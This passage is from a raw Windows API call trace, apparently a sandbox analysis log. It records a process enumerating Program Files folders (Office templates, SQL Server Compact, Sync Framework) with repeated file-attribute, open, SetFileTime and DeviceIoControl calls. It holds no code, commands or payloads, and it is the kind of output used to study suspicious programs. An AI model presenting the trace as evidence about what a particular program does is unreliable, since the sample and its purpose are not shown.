ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.052] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\datatype"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x148 [0070.052] SetFileTime (hFile=0x148, lpCreationTime=0x0, lpLastAccessTime=0x174ebdc, lpLastWriteTime=0x174ebdc) returned 0 [0070.052] DeviceIoControl (in: hDevice=0x148, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x107ba48, nOutBufferSize=0x4000, lpBytesReturned=0x174ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x107ba48, lpBytesReturned=0x174ec34, lpOverlapped=0x0) returned 0 [0070.052] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\*", fInfoLevelId=0x1, lpFindFileData=0x174e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e9e4) returned 0x60d120 [0070.054] GetLastError () returned 0x12 [0070.054] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\*", fInfoLevelId=0x1, lpFindFileData=0x174e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e9e4) returned 0x60d1e0 [0070.054] FindClose (in: hFindFile=0x60d120 | out: hFindFile=0x60d120) returned 1 [0070.056] GetLastError () returned 0x12 [0070.056] FindClose (in: hFindFile=0x60d1e0 | out: hFindFile=0x60d1e0) returned 1 [0070.057] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part"), fInfoLevelId=0x0, lpFileInformation=0x174eb98 | out: lpFileInformation=0x174eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14fa2ef0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x150615d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x150615d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.058] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0070.058] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x174ebdc, lpLastWriteTime=0x174ebdc) returned 0 [0070.058] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x107ba48, nOutBufferSize=0x4000, lpBytesReturned=0x174ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x107ba48, lpBytesReturned=0x174ec34, lpOverlapped=0x0) returned 0 [0070.058] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\*", fInfoLevelId=0x1, lpFindFileData=0x174e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e9e4) returned 0x60d1e0 [0070.060] GetLastError () returned 0x12 [0070.060] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\*", fInfoLevelId=0x1, lpFindFileData=0x174e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e9e4) returned 0x60d120 [0070.060] FindClose (in: hFindFile=0x60d1e0 | out: hFindFile=0x60d1e0) returned 1 [0070.060] GetLastError () returned 0x12 [0070.060] FindClose (in: hFindFile=0x60d120 | out: hFindFile=0x60d120) returned 1 [0070.061] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\WSS" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\wss"), fInfoLevelId=0x0, lpFileInformation=0x174eb98 | out: lpFileInformation=0x174eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14ebe6b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x14ee4810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14ee4810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.061] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\WSS" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\wss"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x148 [0070.061] SetFileTime (hFile=0x148, lpCreationTime=0x0, lpLastAccessTime=0x174ebdc, lpLastWriteTime=0x174ebdc) returned 0 [0070.061] DeviceIoControl (in: hDevice=0x148, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x107ba48, nOutBufferSize=0x4000, lpBytesReturned=0x174ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x107ba48, lpBytesReturned=0x174ec34, lpOverlapped=0x0) returned 0 [0070.061] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\WSS\\*", fInfoLevelId=0x1, lpFindFileData=0x174e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e9e4) returned 0x60d120 [0070.061] GetLastError () returned 0x12 [0070.061] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\WSS\\*", fInfoLevelId=0x1, lpFindFileData=0x174e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e9e4) returned 0x60d1e0 [0070.062] FindClose (in: hFindFile=0x60d120 | out: hFindFile=0x60d120) returned 1 [0070.062] GetLastError () returned 0x12 [0070.062] FindClose (in: hFindFile=0x60d1e0 | out: hFindFile=0x60d1e0) returned 1 [0070.062] GetLastError () returned 0x12 [0070.062] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0070.062] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\fax"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3aa710, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e5274d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e5274d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.062] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\fax"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xec [0070.062] SetFileTime (hFile=0xec, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0070.062] DeviceIoControl (in: hDevice=0xec, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x107ba48, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x107ba48, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0070.062] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d1a0 [0070.064] GetLastError () returned 0x12 [0070.064] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d1e0 [0070.064] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0070.064] GetLastError () returned 0x12 [0070.064] FindClose (in: hFindFile=0x60d1e0 | out: hFindFile=0x60d1e0) returned 1 [0070.065] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\onenote"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc75c370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc75c370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.065] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\onenote"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0070.065] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0070.065] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x107ba48, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x107ba48, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0070.065] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d1e0 [0070.065] GetLastError () returned 0x12 [0070.065] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d1a0 [0070.066] FindClose (in: hFindFile=0x60d1e0 | out: hFindFile=0x60d1e0) returned 1 [0070.066] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\onenote\\14"), fInfoLevelId=0x0, lpFileInformation=0x174eb98 | out: lpFileInformation=0x174eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc7a8630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc7a8630, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.066] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\onenote\\14"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0070.066] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x174ebdc, lpLastWriteTime=0x174ebdc) returned 0 [0070.067] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x107ba48, nOutBufferSize=0x4000, lpBytesReturned=0x174ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x107ba48, lpBytesReturned=0x174ec34, lpOverlapped=0x0) returned 0 [0070.067] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\*", fInfoLevelId=0x1, lpFindFileData=0x174e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e9e4) returned 0x60d1e0 [0070.067] GetLastError () returned 0x12 [0070.067] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\*", fInfoLevelId=0x1, lpFindFileData=0x174e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e9e4) returned 0x60d120 [0070.067] FindClose (in: hFindFile=0x60d1e0 | out: hFindFile=0x60d1e0) returned 1 [0070.067] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Notebook Templates" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\onenote\\14\\notebook templates"), fInfoLevelId=0x0, lpFileInformation=0x174e8e0 | out: lpFileInformation=0x174e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc7a8630, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc7a8630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc7a8630, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.068] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Notebook Templates" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\onenote\\14\\notebook templates"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0070.068] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x174e924, lpLastWriteTime=0x174e924) returned 0 [0070.068] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x107ba48, nOutBufferSize=0x4000, lpBytesReturned=0x174e97c, lpOverlapped=0x0 | out: lpOutBuffer=0x107ba48, lpBytesReturned=0x174e97c, lpOverlapped=0x0) returned 0 [0070.068] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Notebook Templates\\*", fInfoLevelId=0x1, lpFindFileData=0x174e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e72c) returned 0x60d1e0 [0070.069] GetLastError () returned 0x12 [0070.069] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Notebook Templates\\*", fInfoLevelId=0x1, lpFindFileData=0x174e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e72c) returned 0x60d2a0 [0070.069] FindClose (in: hFindFile=0x60d1e0 | out: hFindFile=0x60d1e0) returned 1 [0070.069] GetLastError () returned 0x12 [0070.069] FindClose (in: hFindFile=0x60d2a0 | out: hFindFile=0x60d2a0) returned 1 [0070.069] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Stationery" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\onenote\\14\\stationery"), fInfoLevelId=0x0, lpFileInformation=0x174e8e0 | out: lpFileInformation=0x174e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc840bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc840bb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.069] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Stationery" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\onenote\\14\\stationery"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x19c [0070.069] SetFileTime (hFile=0x19c, lpCreationTime=0x0, lpLastAccessTime=0x174e924, lpLastWriteTime=0x174e924) returned 0 [0070.070] DeviceIoControl (in: hDevice=0x19c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x107ba48, nOutBufferSize=0x4000, lpBytesReturned=0x174e97c, lpOverlapped=0x0 | out: lpOutBuffer=0x107ba48, lpBytesReturned=0x174e97c, lpOverlapped=0x0) returned 0 [0070.070] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Stationery\\*", fInfoLevelId=0x1, lpFindFileData=0x174e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e72c) returned 0x60d2a0 [0070.070] GetLastError () returned 0x12 [0070.070] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Stationery\\*", fInfoLevelId=0x1, lpFindFileData=0x174e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e72c) returned 0x60d1e0 [0070.070] FindClose (in: hFindFile=0x60d2a0 | out: hFindFile=0x60d2a0) returned 1 [0070.070] GetLastError () returned 0x12 [0070.070] FindClose (in: hFindFile=0x60d1e0 | out: hFindFile=0x60d1e0) returned 1 [0070.070] GetLastError () returned 0x12 [0070.070] FindClose (in: hFindFile=0x60d120 | out: hFindFile=0x60d120) returned 1 [0070.070] GetLastError () returned 0x12 [0070.070] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0070.070] GetLastError () returned 0x12 [0070.070] FindClose (in: hFindFile=0x60d0a0 | out: hFindFile=0x60d0a0) returned 1 [0070.070] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\Presentation Designs" (normalized: "c:\\program files\\microsoft office\\templates\\presentation designs"), fInfoLevelId=0x0, lpFileInformation=0x174f108 | out: lpFileInformation=0x174f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x696f1810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.071] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\Presentation Designs" (normalized: "c:\\program files\\microsoft office\\templates\\presentation designs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0070.071] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x174f14c, lpLastWriteTime=0x174f14c) returned 0 [0070.071] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x107ba48, nOutBufferSize=0x4000, lpBytesReturned=0x174f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x107ba48, lpBytesReturned=0x174f1a4, lpOverlapped=0x0) returned 0 [0070.071] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\Presentation Designs\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d0a0 [0070.071] GetLastError () returned 0x12 [0070.071] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\Presentation Designs\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d1a0 [0070.071] FindClose (in: hFindFile=0x60d0a0 | out: hFindFile=0x60d0a0) returned 1 [0070.071] GetLastError () returned 0x12 [0070.071] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0070.071] GetLastError () returned 0x12 [0070.071] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0070.071] GetLastError () returned 0x12 [0070.071] FindClose (in: hFindFile=0x60d220 | out: hFindFile=0x60d220) returned 1 [0070.072] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition" (normalized: "c:\\program files\\microsoft sql server compact edition"), fInfoLevelId=0x0, lpFileInformation=0x174f678 | out: lpFileInformation=0x174f678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa00ab2f0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa00ab2f0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.072] CreateFileW (lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition" (normalized: "c:\\program files\\microsoft sql server compact edition"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x194 [0070.072] SetFileTime (hFile=0x194, lpCreationTime=0x0, lpLastAccessTime=0x174f6bc, lpLastWriteTime=0x174f6bc) returned 0 [0070.072] DeviceIoControl (in: hDevice=0x194, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x107ba48, nOutBufferSize=0x4000, lpBytesReturned=0x174f714, lpOverlapped=0x0 | out: lpOutBuffer=0x107ba48, lpBytesReturned=0x174f714, lpOverlapped=0x0) returned 0 [0070.072] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\*", fInfoLevelId=0x1, lpFindFileData=0x174f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f4c4) returned 0x60d220 [0070.072] GetLastError () returned 0x12 [0070.072] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\*", fInfoLevelId=0x1, lpFindFileData=0x174f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f4c4) returned 0x60d160 [0070.072] FindClose (in: hFindFile=0x60d220 | out: hFindFile=0x60d220) returned 1 [0070.072] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5" (normalized: "c:\\program files\\microsoft sql server compact edition\\v3.5"), fInfoLevelId=0x0, lpFileInformation=0x174f3c0 | out: lpFileInformation=0x174f3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3a4910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.072] CreateFileW (lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5" (normalized: "c:\\program files\\microsoft sql server compact edition\\v3.5"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x194 [0070.072] SetFileTime (hFile=0x194, lpCreationTime=0x0, lpLastAccessTime=0x174f404, lpLastWriteTime=0x174f404) returned 0 [0070.073] DeviceIoControl (in: hDevice=0x194, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x107ba48, nOutBufferSize=0x4000, lpBytesReturned=0x174f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x107ba48, lpBytesReturned=0x174f45c, lpOverlapped=0x0) returned 0 [0070.073] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\*", fInfoLevelId=0x1, lpFindFileData=0x174f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f20c) returned 0x60d220 [0070.074] GetLastError () returned 0x12 [0070.074] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\*", fInfoLevelId=0x1, lpFindFileData=0x174f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f20c) returned 0x60d1a0 [0070.074] FindClose (in: hFindFile=0x60d220 | out: hFindFile=0x60d220) returned 1 [0070.074] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\Desktop" (normalized: "c:\\program files\\microsoft sql server compact edition\\v3.5\\desktop"), fInfoLevelId=0x0, lpFileInformation=0x174f108 | out: lpFileInformation=0x174f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e54b70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e54b70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.075] CreateFileW (lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\Desktop" (normalized: "c:\\program files\\microsoft sql server compact edition\\v3.5\\desktop"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x194 [0070.075] SetFileTime (hFile=0x194, lpCreationTime=0x0, lpLastAccessTime=0x174f14c, lpLastWriteTime=0x174f14c) returned 0 [0070.075] DeviceIoControl (in: hDevice=0x194, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x107ba48, nOutBufferSize=0x4000, lpBytesReturned=0x174f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x107ba48, lpBytesReturned=0x174f1a4, lpOverlapped=0x0) returned 0 [0070.075] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\Desktop\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d220 [0070.075] GetLastError () returned 0x12 [0070.075] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\Desktop\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d0a0 [0070.075] FindClose (in: hFindFile=0x60d220 | out: hFindFile=0x60d220) returned 1 [0070.075] GetLastError () returned 0x12 [0070.075] FindClose (in: hFindFile=0x60d0a0 | out: hFindFile=0x60d0a0) returned 1 [0070.075] GetLastError () returned 0x12 [0070.075] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0070.075] GetLastError () returned 0x12 [0070.075] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0070.076] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework" (normalized: "c:\\program files\\microsoft sync framework"), fInfoLevelId=0x0, lpFileInformation=0x174f678 | out: lpFileInformation=0x174f678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x9ff083d0, 